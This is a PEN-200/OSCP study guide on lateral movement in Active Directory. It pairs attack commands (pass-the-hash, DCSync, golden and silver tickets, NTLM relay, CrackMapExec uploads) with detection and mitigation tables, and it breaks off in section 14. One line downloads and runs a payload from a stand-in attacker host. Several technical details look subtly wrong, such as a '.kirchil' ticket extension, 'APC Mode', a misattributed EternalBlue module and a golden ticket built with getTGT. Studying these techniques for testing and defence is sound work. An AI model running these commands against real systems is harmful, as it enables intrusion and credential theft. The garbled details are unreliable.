Domain 6Active Directory AttacksADVANCED

Lateral Movement in Active Directory

Study notes for Lateral Movement in Active Directory covering key PEN-200 methodology and lab techniques.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-05
#Lateral Movement in Active Directory#PEN-200

Lateral Movement in Active Directory — OSCP Study Guide

Author: OSCP Research Guide
Last Updated: 2026-08-31
Difficulty: Intermediate to Advanced
Prerequisites: AD fundamentals, Kerberos basics, Windows authentication


Table of Contents

  1. Lateral Movement Concepts and Strategies
  2. Remote Execution Techniques
  3. Pass-the-Hash Lateral Movement
  4. Pass-the-Ticket Lateral Movement
  5. Overpass-the-Hash
  6. DCSync Attack
  7. Golden and Silver Ticket Lateral Movement
  8. SMB Relay Lateral Movement
  9. RDP Lateral Movement
  10. SSH Lateral Movement (Linux in AD)
  11. Shared Session Hijacking
  12. Token Impersonation Lateral Movement
  13. Living off the Land Techniques
  14. CrackMapExec / NetExec for Lateral Movement
  15. BloodHound Attack Path Execution
  16. Privilege Escalation Through Lateral Movement
  17. Post-Exploitation in AD
  18. Domain Controller Compromise
  19. Final Domain Domination Strategies
  20. Tools Mastery

1. Lateral Movement Concepts and Strategies

1.1 What Is Lateral Movement?

  • Moving from one compromised host to another within a network
  • Goal: reach high-value targets (Domain Controllers, servers, admin workstations)
  • Follows the pivot methodology — each host is a new foothold

1.2 Why Lateral Movement Matters

Aspect Description
Initial access is not enough Single host compromise rarely gives full domain control
Credentials spread Users reuse passwords; admin accounts log into multiple machines
Trust relationships AD trusts enable cross-domain and cross-forest movement
Privilege accumulation Each hop may grant higher privileges

1.3 Lateral Movement Kill Chain

graph LR
    A[Initial Foothold] --> B[Credential Harvesting]
    B --> C[Network Recon]
    C --> D{Choose Technique}
    D --> E[Remote Execution]
    D --> F[Pass-the-Hash]
    D --> G[Pass-the-Ticket]
    D --> H[SMB Relay]
    D --> I[RDP/SSH]
    E --> J[New Host Compromised]
    F --> J
    G --> J
    H --> J
    I --> J
    J --> B

1.4 Key Strategies

Strategy Description When to Use
Credential reuse Try harvested creds on other hosts Passwords are reused across accounts
Pass-the-Hash Use NTLM hash directly No plaintext password available
Pass-the-Ticket Inject Kerberos tickets Kerberos environment, have TGT
SMB Relay Relay NTLM auth to target Target does not require AES, no signing
Remote Execution Execute commands remotely Have valid creds or hashes
RDP/SSH Interactive session Need GUI or persistent shell

1.5 Information Gathering Before Lateral Movement

# On compromised Windows host
ipconfig /all
net view /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Local Administrators" /domain
net session
net use
whoami /all
systeminfo
# From Kali / Impacket
impacket-secretsdump -just-dc <DOMAIN>/user:pass@<DC_IP>
nmap -sV -p 135,139,445,5985,5986,3389 <subnet>/24

2. Remote Execution Techniques

2.1 Overview of Remote Execution

Technique Port(s) Protocol Auth Method Stealth
PsExec 445 SMB + RPC NTLM / Kerberos Low
WMI 135 RPC / DCOM NTLM / Kerberos Medium
WinRM 5985/5986 HTTP(S) Kerberos / NTLM / Basic Medium
SMB Exec 445 SMB NTLM Medium
RPC/DCOM 135 RPC NTLM Low

2.2 PsExec

Technical Explanation

  • Part of Sysinternals suite (legitimate Microsoft tool)
  • Creates a service on the target via admin$ share
  • Copies executable to admin$ share as psexesvc.exe
  • Starts the service which runs the command
  • Service is removed after execution (usually)

Prerequisites

  • Administrative credentials on target
  • SMB (port 445) accessible
  • Admin$ share accessible
  • Firewall allows SMB traffic

Step-by-Step Commands

# Native PsExec from Windows
psexec \\TARGET_HOST -u DOMAIN\user -p password cmd
psexec \\TARGET_HOST -s -d cmd
# From Kali using Impacket
psexec.py domain/user:password@10.10.10.50
psexec.py domain/user@10.10.10.50 -hashes :aad3b435b51404eeaad3b435b51404ee:NTLMHASH

Tools Used

Tool Source Notes
PsExec (native) Sysinternals Windows native
psexec.py Impacket Python-based, cross-platform
Metasploit ms17_010_eternalblue Module: admin/psexec

Detection Indicators

  • New service created: psexesvc or random name
  • File dropped to admin$ share
  • Service control manager events (Event ID 7045)
  • SMB admin share access (Event ID 5140/5145)
  • Process creation: psexesvc.exe, psexecsvc.exe

Mitigation

  • Restrict admin$ share access via GPO
  • Block PsExec service names via AppLocker / WDAC
  • Monitor Event ID 7045 for suspicious services
  • Use LAPS to randomize local admin passwords
  • Segment networks to limit SMB access

2.3 WMI Execution

Technical Explanation

  • Windows Management Instrumentation (WMI) is a built-in admin framework
  • Uses DCOM over RPC (port 135)
  • Can execute processes remotely via Win32_Process.Create
  • No files dropped on target (more stealthy than PsExec)
  • Requires admin credentials

Prerequisites

  • Administrative credentials on target
  • RPC port 135 accessible
  • WMI service running on target
  • DCOM firewall rules in place

Step-by-Step Commands

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName TARGET_HOST -Credential (Get-Credential)
wmiexec.py domain/user:password@TARGET_HOST
wmiexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH

Tools Used

Tool Source Notes
wmiexec.py Impacket Cross-platform
Invoke-WmiMethod PowerShell Native
WMIC Windows Legacy, deprecated

Detection Indicators

  • WMI activity in Event ID 5857/5858/5859
  • DCOM activation events
  • Process creation via WMI (Event ID 4688 with WMI parent)
  • Network connections on port 135

Mitigation

  • Restrict WMI access via DCOM permissions
  • Disable WMI remotely via GPO where not needed
  • Monitor WMI event subscriptions (persistence vector)
  • Use LAPS to prevent credential reuse

2.4 WinRM / WinRS

Technical Explanation

  • Windows Remote Management (WinRM) uses HTTP/HTTPS
  • Default ports: 5985 (HTTP), 5986 (HTTPS)
  • WinRS is the client-side component
  • Supports PowerShell remoting
  • Uses Kerberos by default (more secure than NTLM)

Prerequisites

  • WinRM service enabled on target
  • Port 5985/5986 accessible
  • Valid credentials (Kerberos preferred)
  • WinRM listener configured

Step-by-Step Commands

Enable-PSRemoting -Force
Test-WSMan TARGET_HOST
Enter-PSSession -ComputerName TARGET_HOST -Credential (Get-Credential)
Invoke-Command -ComputerName TARGET_HOST -Credential (Get-Credential) -ScriptBlock { whoami; ipconfig }
winrs -r:TARGET_HOST -u:DOMAIN\user -p:password "whoami"
evil-winrm -i TARGET_IP -u domain\\user -p password
evil-winrm -i TARGET_IP -u domain\\user --kerb

Tools Used

Tool Source Notes
Enter-PSSession PowerShell Native
Invoke-Command PowerShell Native
Evil-WinRM Ruby/PowerShell Interactive shell
winrs Windows Native client

Detection Indicators

  • WinRM service start (Event ID 5176)
  • PowerShell script block logging (Event ID 4104)
  • PowerShell module logging (Event ID 4103)
  • Authentication events (Event ID 4624 logon type 10/9)
  • HTTP traffic on port 5985/5986

Mitigation

  • Disable WinRM where not needed
  • Require HTTPS (port 5986) with valid certificates
  • Restrict WinRM to specific IPs via GPO
  • Enable PowerShell transcript logging
  • Use constrained endpoints

2.5 SMB Execution

Technical Explanation

  • Uses SMB protocol (port 445) directly
  • Uploads payload to IPC$ or admin$ share
  • Executes via scheduled task or service
  • No additional software needed on target
  • Impacket smbexec.py uses this method

Prerequisites

  • Credentials with admin access
  • SMB port 445 accessible
  • IPC$ or admin$ share available

Step-by-Step Commands

smbexec.py domain/user:password@TARGET_HOST
smbexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
smbclient.py domain/user:password@TARGET_HOST

Tools Used

Tool Source Notes
smbexec.py Impacket Python-based
smbclient.py Impacket File transfer

Detection Indicators

  • SMB share access (Event ID 5140/5145)
  • File creation on admin$ (Event ID 4663)
  • Scheduled task creation (Event ID 4698)

Mitigation

  • Restrict SMB access via firewall
  • Enable SMB signing
  • Monitor admin$ share access
  • Use AppLocker to restrict execution

2.6 RPC / DCOM Execution

Technical Explanation

  • Direct Remote Procedure Call execution
  • Uses port 135 (RPC endpoint mapper)
  • Less common than WMI but still viable
  • Often combined with DCOM for process creation

Prerequisites

  • Admin credentials
  • RPC port 135 accessible
  • DCOM enabled on target

Step-by-Step Commands

dcomexec.py domain/user:password@TARGET_HOST
dcomexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH

Tools Used

Tool Source Notes
dcomexec.py Impacket DCOM-based execution

Detection Indicators

  • DCOM activation events
  • RPC activity on port 135
  • Process creation events

Mitigation

  • Restrict DCOM access via GPO
  • Monitor RPC activity
  • Limit admin access

3. Pass-the-Hash Lateral Movement

3.1 Technical Explanation

  • NTLM authentication uses a challenge-response mechanism
  • The NTLM hash is used directly in authentication
  • No need to crack the hash — use it as-is
  • Works because NTLM auth sends the hash, not the plaintext password
  • Limitation: Does NOT work with Kerberos-only authentication

3.2 How NTLM Authentication Works

sequenceDiagram
    participant C as Client
    participant S as Server
    C->>S: NTLM Negotiate
    S->>C: NTLM Challenge (8-byte random)
    C->>S: NTLM Response (Hash of challenge + password hash)
    S->>S: Verify response against stored hash
    S-->>C: Auth Success / Failure

3.3 Prerequisites

Requirement Details
NTLM Hash Obtain via Mimikatz, secretsdump, etc.
Admin Rights Need admin access on target for full access
NTLM Auth Target must accept NTLM (not Kerberos-only)
Network Access SMB/RPC ports reachable

3.4 Step-by-Step Commands

# Step 1: Extract hashes from compromised host
impacket-secretsdump domain/user:password@TARGET_HOST

# Output format:
# DOMAIN\user:aad3b435b51404eeaad3b435b51404ee:NTLMHASH:::

# Step 2: Use hash for lateral movement
psexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH
wmiexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH
smbexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH

# Step 3: CrackMapExec with hash
crackmapexec smb NEXT_TARGET -u user -H NTLM_HASH
# Using Mimikatz on Windows
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Note the NTLM hash

# Pass the hash
mimikatz # sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTLMHASH
# Opens a new cmd as that user

# Then use PsExec
psexec \\TARGET_HOST cmd

3.5 Tools Used

Tool Purpose
Mimikatz Extract and inject NTLM hashes
Impacket (psexec/wmiexec/smbexec) Execute with hash
CrackMapExec / NetExec Scan and pth at scale
secretsdump.py Extract hashes from DC

3.6 Detection Indicators

Indicator Source
NTLM auth events (Event ID 4624, Logon Type 3) Security Event Log
Multiple NTLM logons from single source SIEM correlation
PsExec service creation Event ID 7045
Unusual admin share access Event ID 5140/5145

3.7 Mitigation

Control Description
Disable NTLM Enforce Kerberos-only via GPO
NTLM Audit Enable NTLM audit and alert on usage
LAPS Randomize local admin passwords
Segmentation Limit SMB access between segments
Admin tiers Separate admin accounts from user accounts

4. Pass-the-Ticket Lateral Movement

4.1 Technical Explanation

  • Kerberos uses tickets (TGT and TGS) for authentication
  • A TGT (Ticket Granting Ticket) is obtained after initial Kerberos auth
  • TGS tickets grant access to specific services
  • Pass-the-Ticket injects these tickets into the current session
  • Advantage over PtH: Works with Kerberos-only environments
  • Advantage: Can impersonate any user whose ticket you have

4.2 Kerberos Ticket Types

Ticket Type Purpose Lifetime
TGT Ticket Granting Ticket (krbtgt) 10 hours (default)
TGS Ticket Granting Service (specific SPN) 10 hours (default)
Service Ticket Access to specific service 10 hours (default)

4.3 Kerberos Authentication Flow

sequenceDiagram
    participant C as Client
    participant AS as AS (DC)
    participant TGS as TGS (DC)
    participant S as Service
    C->>AS: AS-REQ (user + realm)
    AS->>C: AS-REP (TGT encrypted with krbtgt key)
    C->>TGS: TGS-REQ (TGT + service name)
    TGS->>C: TGS-REP (Service ticket)
    C->>S: Request + Service Ticket
    S->>TGS: Validate ticket
    TGS-->>S: Valid
    S-->>C: Grant access

4.4 Prerequisites

Requirement Details
Kerberos Ticket .kirchil file (TGT or TGS)
Admin Rights For domain-level access
Windows Environment PtT is Windows-specific
Mimikatz / Rubeus For ticket extraction and injection

4.5 Step-by-Step Commands

# Step 1: Extract tickets using Mimikatz
mimikatz # privilege::debug
mimikatz # kerberos::list /extract
# Tickets saved to current directory as .kirchil files

# Step 2: Inject a ticket
mimikatz # kerberos::ptt FILENAME.kirchil

# Step 3: Verify injection
mimikatz # kerberos::tickets

# Step 4: Use the injected ticket
klist tickets

# Step 5: Lateral movement with injected ticket
psexec \\TARGET_HOST cmd
# Using Rubeus
rubeus dump
rubeus asktgt /user:Administrator /rc4:NTLMHASH /ptt

# From Kali with ccache
export KRB5CCNAME=/root/ticket.ccache
psexec.py -k -no-pass domain/@TARGET_HOST
wmiexec.py -k -no-pass domain/@TARGET_HOST

4.6 Tools Used

Tool Purpose
Mimikatz Extract and inject Kerberos tickets
Rubeus Kerberos attack toolkit (C#)
Impacket (with -k flag) Use Kerberos tickets from Kali
ticket_converter.py Convert .kirchil to .ccache

4.7 Detection Indicators

Indicator Source
Kerberos auth events (Event ID 4768/4769) Security Event Log
Multiple TGT requests SIEM correlation
Ticket injection via Mimikatz EDR / AMSI
Unusual service access patterns SIEM

4.8 Mitigation

Control Description
APC Mode Restrict Kerberos to AES encryption
Short ticket lifetimes Reduce TGT/TGS lifetime via GPO
Admin isolation Admins never use domain accounts on workstations
EDR monitoring Detect Mimikatz/Rubeus execution
Kerberos auditing Enable and monitor Kerberos events

5. Overpass-the-Hash

5.1 Technical Explanation

  • Combines Pass-the-Hash with Pass-the-Ticket
  • Step 1: Use NTLM hash to request a Kerberos TGT
  • Step 2: Inject the TGT into the session
  • Step 3: Use the TGT for Kerberos-based lateral movement
  • Key advantage: Bypasses NTLM restrictions
  • Uses kerberos::asktgt functionality

5.2 Prerequisites

Requirement Details
NTLM Hash Of a target user
Domain Access Must be able to reach DC
Mimikatz / Rubeus For the attack

5.3 Step-by-Step Commands

# Method 1: Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTLMHASH /run:"psexec \\TARGET cmd"

# Method 2: Rubeus (preferred)
rubeus asktgt /user:Administrator /rc4:NTLMHASH /ptt
klist
psexec \\TARGET cmd
# From Kali
getTGT.py DOMAIN/Administrator -hashes :NTLM_HASH
export KRB5CCNAME=/root/krb5cc_cache
psexec.py -k -no-pass DOMAIN/@TARGET

5.4 Tools Used

Tool Purpose
Rubeus asktgt with /rc4 and /ptt
Mimikatz sekurlsa::pth
getTGT.py Impacket TGT request with hash

5.5 Detection Indicators

Indicator Source
TGT request with RC4 encryption Kerberos logs (Event ID 4768)
RC4 is deprecated — alerts on RC4 TGT requests SIEM
Mimikatz / Rubeus execution EDR

5.6 Mitigation

Control Description
Disable RC4 Enforce AES-128/256 for Kerberos
Monitor RC4 TGT requests Alert on Event ID 4768 with RC4
Admin isolation Separate admin accounts

6. DCSync Attack

6.1 Technical Explanation

  • DCSync mimics a Domain Controller replication request
  • Uses the Directory Replication Service (DRS) RPC interface
  • Requests password data for any account in the domain
  • Returns the KRBTGT hash, user hashes, and machine account hashes
  • Effectively gives you all domain hashes

6.2 Required Privileges

Privilege Description How to Obtain
DS-Replication-Get-Changes Read replication data Default: Domain Admins, Enterprise Admins, DCs
DS-Replication-Get-Changes-All Read all replication data Default: Domain Admins, Enterprise Admins, DCs
DS-Replication-Get-Changes-In-Filtered-Set Read filtered replication (passwords) Default: Domain Admins, Enterprise Admins, DCs

6.3 Who Has DCSync Rights by Default?

graph TD
    A[DCSync Privileges] --> B[Domain Admins]
    A --> C[Enterprise Admins]
    A --> D[Domain Controllers]
    A --> E[Custom ACL grants]

6.4 Prerequisites

Requirement Details
DCSync Privileges One of the DS-Replication rights
Domain Credentials Valid domain user with the privilege
Network Access Reach the Domain Controller

6.5 Step-by-Step Commands

# Extract all domain hashes
impacket-secretsdump -just-dc DOMAIN/user:password@DC_IP

# Extract specific user hash
impacket-secretsdump -just-dc-user KRBTGT DOMAIN/user:password@DC_IP

# Extract specific user
impacket-secretsdump DOMAIN/user:password@DC_IP -just-user Administrator

# Using Mimikatz
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT
mimikatz # lsadump::dcsync /user:DOMAIN\Administrator
# Full DCSync output example
impacket-secretsdump -just-dc DOMAIN/hacker:pwned@10.10.10.10

# Output:
# [*] Dumping Domain Credentials (domain/username:hash)
# [$] DOMAIN/KRBTGT:aad3b435b51404eeaad3b435b51404ee:NTLMHASH
# [$] DOMAIN/Administrator:aad3b435b51404eeaad3b435b51404ee:NTLMHASH

6.6 Tools Used

Tool Purpose
secretsdump.py Impacket DCSync implementation
Mimikatz lsadump::dcsync
Rubeus DCSync via asktgt
BloodHound Identify DCSync-able accounts

6.7 Detection Indicators

Indicator Source
DRS GetChanges calls from non-DC DC Event Log (Event ID 4662)
Unusual replication partners DC replication logs
Account access from unexpected source Security Event Log
Large volume of credential requests SIEM correlation

6.8 Mitigation

Control Description
Monitor DRS access Alert on Event ID 4662 from non-DCs
Restrict DCSync rights Audit and remove unnecessary grants
Admin isolation Domain Admins never log on to workstations
Tiered administration Separate tiers for different admin levels
BloodHound auditing Regularly check for misconfigurations

7. Golden and Silver Ticket Lateral Movement

7.1 Golden Ticket

Technical Explanation

  • A forged Kerberos TGT (Ticket Granting Ticket)
  • Requires the KRBTGT account NTLM hash
  • Can be used to impersonate ANY user in the domain
  • Valid for the full TGT lifetime (default 10 hours)
  • Can be crafted with any lifetime (even years)
  • Most powerful Kerberos attack

Prerequisites

Requirement Details
KRBTGT Hash Obtain via DCSync or other means
Domain SID Domain Security Identifier
Domain Name FQDN of the target domain
Mimikatz / Rubeus For ticket creation

Step-by-Step Commands

# Step 1: Get KRBTGT hash (via DCSync)
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT

# Step 2: Get domain SID
mimikatz # lsadump::domain /domain:DOMAIN

# Step 3: Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /krbtgt:NTLMHASH /id:500 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Parameter breakdown:
# /user          - Username to impersonate
# /domain        - Domain FQDN
# /sid           - Domain SID
# /krbtgt        - KRBTGT NTLM hash
# /id            - User RID (500 = Administrator)
# /startoffset   - Minutes before now ticket starts
# /endin         - Ticket lifetime in minutes
# /renewmax      - Max renewal time in minutes
# /ptt           - Inject ticket into current session

# Step 4: Verify
klist

# Step 5: Lateral movement
psexec \\DC01 cmd
# From Kali using Impacket
impacket-getTGT DOMAIN/KRBTGT -hashes :KRBTGT_NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=/root/krb5cc_cache
psexec.py -k -no-pass DOMAIN/@TARGET

7.2 Silver Ticket

Technical Explanation

  • A forged Kerberos TGS (service ticket)
  • Requires the target service account hash (not KRBTGT)
  • Grants access to a SPECIFIC service on a SPECIFIC host
  • More stealthy — DC never validates the ticket
  • Useful when you cannot reach the DC

Prerequisites

Requirement Details
Service Account Hash Hash of the account running the target service
Domain SID Domain Security Identifier
SPN Service Principal Name of the target service
Mimikatz For ticket creation

Step-by-Step Commands

# Create silver ticket for CIFS (SMB) service
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:FILESERVER.DOMAIN.local /rc4:SERVICE_HASH /service:cifs /ptt

# Create silver ticket for HTTP service
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:WEBSERVER.DOMAIN.local /rc4:SERVICE_HASH /service:http /ptt

# Create silver ticket for MSSQL
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:DBSERVER.DOMAIN.local /rc4:SERVICE_HASH /service:MSSQLSvc /ptt

7.3 Golden vs Silver Ticket Comparison

Feature Golden Ticket Silver Ticket
Ticket Type Forged TGT Forged TGS
Required Hash KRBTGT Service account
Scope Entire domain Single service/host
DC Validation Yes (but forged) No (bypasses DC)
Stealth Lower (DC sees it) Higher (DC blind)
Lifetime Configurable Configurable
Detection Easier (DC logs) Harder (no DC logs)

7.4 Detection Indicators

Indicator Golden Ticket Silver Ticket
TGT request anomalies Yes N/A
Unusual ticket lifetime Yes N/A
Service access without DC auth N/A Yes
Event ID 4768/4769 Yes No
SID mismatch Possible Possible

7.5 Mitigation

Control Description
Change KRBTGT password Reset twice (old tickets remain valid until expiry)
Monitor ticket anomalies Alert on unusual lifetimes, RC4 encryption
Service account hardening Use gMSA (group Managed Service Accounts)
Admin isolation Limit admin account exposure
Tiered admin model Separate admin tiers

8. SMB Relay Lateral Movement

8.1 Technical Explanation

  • Relays NTLM authentication from one host to another
  • Attacker sits between victim and target as a man-in-the-middle
  • Victim authenticates to attacker (thinking it is a legitimate service)
  • Attacker relays the authentication to the target
  • No credentials needed — just relay the auth handshake

8.2 Attack Flow

sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant T as Target
    V->>A: NTLM Negotiate (thinking A is a file share)
    A->>V: NTLM Challenge
    V->>A: NTLM Response (with victim hash)
    A->>T: NTLM Negotiate (relay to target)
    T->>A: NTLM Challenge
    A->>T: NTLM Response (victim response)
    T->>T: Verify response
    T-->>A: Auth Success
    A-->>V: Auth Success (fake)

8.3 Prerequisites

Requirement Details
Victim will authenticate Lure victim to connect to attacker
Target accepts NTLM Target must not require Kerberos
SMB Signing Disabled Target must NOT require SMB signing
Network position Attacker in path between victim and target

8.4 Step-by-Step Commands

# Step 1: Identify targets without SMB signing
crackmapexec smb 10.10.10.0/24 --signing

# Step 2: Start SMB relay server
impacket-smbrelayserver -target TARGET_IP
impacket-smbrelayserver -target TARGET_IP -exec-command "whoami"

# Step 3: Lure victim to connect
responder -I eth0 -wrf
# Using ntlmrelayx (more versatile)
impacket-ntlmrelayx -t smb://TARGET_IP --no-http-server -smb2support
impacket-ntlmrelayx -t TARGET_IP -c "whoami"
impacket-ntlmrelayx -t https://TARGET_IP
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user VICTIM_USER

8.5 Tools Used

Tool Purpose
ntlmrelayx.py Full NTLM relay framework
smbrelayx.py SMB-specific relay
Responder LLMNR/NBT-NS poisoning
CrackMapExec / NetExec Scan for signing status

8.6 Detection Indicators

Indicator Source
NTLM relay traffic patterns Network monitoring
Unusual SMB connections Event ID 5140/5145
Responder LLMNR/NBT-NS responses Network capture
Multiple auth attempts from relay server SIEM

8.7 Mitigation

Control Description
Enable SMB signing Enforce via GPO (blocks relay)
Disable LLMNR/NBT-NS Block via GPO
Network segmentation Isolate critical systems
802.1X Port-based network access control
Monitor NTLM traffic Alert on relay patterns

9. RDP Lateral Movement

9.1 Technical Explanation

  • Remote Desktop Protocol (RDP) provides GUI access
  • Default port: 3389
  • Supports credential-based and certificate-based auth
  • Can be used for interactive lateral movement
  • Often the final step before domain admin access

9.2 Prerequisites

Requirement Details
RDP Enabled Target has RDP enabled (port 3389)
Valid Credentials Username and password
RDP Permissions User in Remote Desktop Users group
Network Access Port 3389 reachable

9.3 Step-by-Step Commands

xfreerdp /u:DOMAIN\\user /p:password /v:TARGET_IP
xfreerdp /u:DOMAIN\\user /p:password /v:TARGET_IP /cert-ignore /dynamic-resolution
impacket-rdp DOMAIN/user:password@TARGET_IP
crackmapexec rdp TARGET_IP -u user -p password
mstsc /v:TARGET_IP
net localgroup "Remote Desktop Users" DOMAIN\user /add

9.4 Tools Used

Tool Source Notes
xfreerdp Kali Linux RDP client
rdp.py Impacket Python RDP client
MSTSC Windows Native RDP client
CrackMapExec Python RDP enumeration

9.5 Detection Indicators

Indicator Source
RDP logon events (Event ID 4624, Logon Type 10) Security Event Log
RDP connection attempts (Event ID 4625) Security Event Log
Multiple failed RDP attempts SIEM
RDP from unusual source Network monitoring

9.6 Mitigation

Control Description
NLA (Network Level Auth) Enforce via GPO
Restrict RDP access Limit to specific IPs/groups
MFA for RDP Require multi-factor authentication
Monitor RDP events Alert on unusual patterns
Jump servers Centralize RDP access

10. SSH Lateral Movement (Linux in AD)

10.1 Technical Explanation

  • Linux hosts joined to AD domains use SSH for remote access
  • Default port: 22
  • Supports password, key-based, and Kerberos auth
  • Common in mixed environments (Windows + Linux)
  • Kerberos tickets can be used for SSH auth (GSSAPI)

10.2 Prerequisites

Requirement Details
SSH Enabled Target has SSH running
Valid Credentials Password or SSH key
Kerberos (optional) GSSAPI auth configured
Network Access Port 22 reachable

10.3 Step-by-Step Commands

ssh user@TARGET_IP
ssh -i /path/to/key user@TARGET_IP
ssh -o GSSAPIAuthentication=yes user@TARGET_IP
ssh -L 8080:INTERNAL_TARGET:80 user@TARGET_IP
ssh -D 1080 user@TARGET_IP
sshpass -p 'password' ssh user@TARGET_IP
crackmapexec ssh TARGET_IP -u user -p password

10.4 Tools Used

Tool Source Notes
ssh OpenSSH Native client
sshpass Linux Non-interactive SSH
CrackMapExec Python SSH enumeration
Hydra Kali SSH brute force

10.5 Detection Indicators

Indicator Source
SSH logon events /var/log/auth.log
Failed SSH attempts /var/log/auth.log
Unusual SSH source IPs SIEM
SSH key usage anomalies Audit logs

10.6 Mitigation

Control Description
Key-based auth only Disable password auth
Restrict SSH access Limit to specific IPs
Fail2ban Block brute force attempts
MFA Require multi-factor authentication
Audit SSH usage Monitor and log all SSH sessions

11. Shared Session Hijacking

11.1 Technical Explanation

  • When a user has an existing session (RDP, console, etc.)
  • Another user with admin rights can take over that session
  • Uses tscon or rwinsta commands
  • The original user is disconnected
  • The attacker inherits the session with the original user privileges

11.2 Prerequisites

Requirement Details
Admin Rights On the target machine
Active Session Target user has an active session
Session ID Know the session ID to hijack

11.3 Step-by-Step Commands

query session
qwinsta
tscon SESSION_ID /dest:console
rwinsta /disconnect:SESSION_ID
crackmapexec smb TARGET_IP -u user -p password --sessions

11.4 Tools Used

Tool Source Notes
tscon Windows Session takeover
query session Windows List sessions
CrackMapExec Python Session enumeration

11.5 Detection Indicators

Indicator Source
Session disconnection events Terminal Services logs
tscon execution Process creation logs
Unexpected session transfers SIEM

11.6 Mitigation

Control Description
Restrict admin access Limit who can query sessions
Monitor session events Alert on tscon usage
Admin isolation Separate admin accounts

12. Token Impersonation Lateral Movement

12.1 Technical Explanation

  • Windows processes run with security tokens
  • Admin processes may impersonate lower-privilege users
  • High-privilege tokens can be stolen and used
  • Common in web servers (IIS) and service accounts
  • Tools like Incognito and RottenPotato exploit this

12.2 Token Types

Token Type Description
Primary Token The process own token
Impersonation Token Created when servicing a client request
Delegation Token Can be used remotely (highest privilege)

12.3 Prerequisites

Requirement Details
Process with impersonation token IIS, services, etc.
Admin rights To manipulate tokens
Token manipulation tool Incognito, Mimikatz, etc.

12.4 Step-by-Step Commands

# Using Incognito
!list_tokens -u
!list_tokens -g
!impersonate_token DOMAIN\\Administrator
!execute_cmd_k "cmd.exe"

# Using Mimikatz
mimikatz # token::revert
mimikatz # token::elevate
mimikatz # token::list
Import-Module .\PowerUp.ps1
Invoke-TokenManipulation -ListTokens
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\\Administrator"
whoami

12.5 Tools Used

Tool Source Notes
Incognito Metasploit Token manipulation
Mimikatz External Token::elevate
PowerUp PowerSploit PowerShell token manipulation
RottenPotato External Token escalation exploit

12.6 Detection Indicators

Indicator Source
Token manipulation events EDR / AMSI
Unexpected privilege changes Security Event Log
Incognito/Mimikatz execution EDR

12.7 Mitigation

Control Description
Least privilege Run services with minimal rights
Restrict delegation Limit constrained delegation
EDR monitoring Detect token manipulation tools
Patch systems Fix token escalation vulnerabilities

13. Living off the Land Techniques

13.1 Overview

Technique Tool Description
PowerShell Remoting Enter-PSSession / Invoke-Command Native PowerShell remote execution
psexec.py Impacket PsExec over SMB
wmiexec.py Impacket WMI-based execution
smbexec.py Impacket SMB-based execution
WMIC Windows Legacy WMI command-line
certutil Windows Download files
bitsadmin Windows Download files
mshta Windows Execute HTA files
rundll32 Windows Execute DLLs

13.2 PowerShell Remoting

Enable-PSRemoting -Force
Test-WSMan TARGET_HOST
Enter-PSSession -ComputerName TARGET_HOST -Credential (Get-Credential)
Invoke-Command -ComputerName TARGET_HOST -Credential (Get-Credential) -ScriptBlock { whoami; Get-Process }
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://ATTACKER/payload.ps1")

13.3 psexec.py (Impacket)

psexec.py domain/user:password@TARGET_HOST
psexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
psexec.py -k -no-pass domain/@TARGET_HOST
psexec.py domain/user:password@TARGET_HOST "whoami /all"

13.4 wmiexec.py (Impacket)

wmiexec.py domain/user:password@TARGET_HOST
wmiexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
wmiexec.py -k -no-pass domain/@TARGET_HOST

13.5 smbexec.py (Impacket)

smbexec.py domain/user:password@TARGET_HOST
smbexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH

13.6 Comparison of Impacket Execution Methods

Method Files Dropped Stealth Reliability Best For
psexec.py Yes (admin$) Low High When admin$ is available
wmiexec.py No Medium Medium Stealth operations
smbexec.py Minimal Medium Medium When WMI is blocked
dcomexec.py No Medium Low Alternative to WMI

14. CrackMapExec / NetExec for Lateral Movement

14.1 Technical Explanation

  • CrackMapExec (CME) / NetExec (nxc) is a post-exploitation tool
  • Automates credential testing across multiple hosts
  • Supports SMB, WMI, WinRM, RDP, SSH, and more
  • Can execute commands, upload files, and harvest data
  • NetExec is the forked/continued version of CME

14.2 Prerequisites

  • Python 3.6+ installed
  • Network access to targets
  • Credentials or hashes to test

14.3 Step-by-Step Commands

# Basic SMB enumeration
crackmapexec smb 10.10.10.0/24 -u user -p password
nxc smb 10.10.10.0/24 -u user -p password

# With hash
crackmapexec smb 10.10.10.0/24 -u user -H NTLM_HASH

# Check signing status
crackmapexec smb 10.10.10.0/24 --signing

# List shares
crackmapexec smb TARGET_IP -u user -p password -M share_enum

# Execute command
crackmapexec smb TARGET_IP -u user -p password -x "whoami"

# Upload file
crackmapexec smb TARGET_IP -u user -p password --local-auth -M upload_file -o FILE=payload.exe DEST=C$\payload.exe

# Download file
crackmapexec smb TARGET_IP -u user -p password --local-auth -M download_file -o FILE=C$\target.txt

# Get sessions
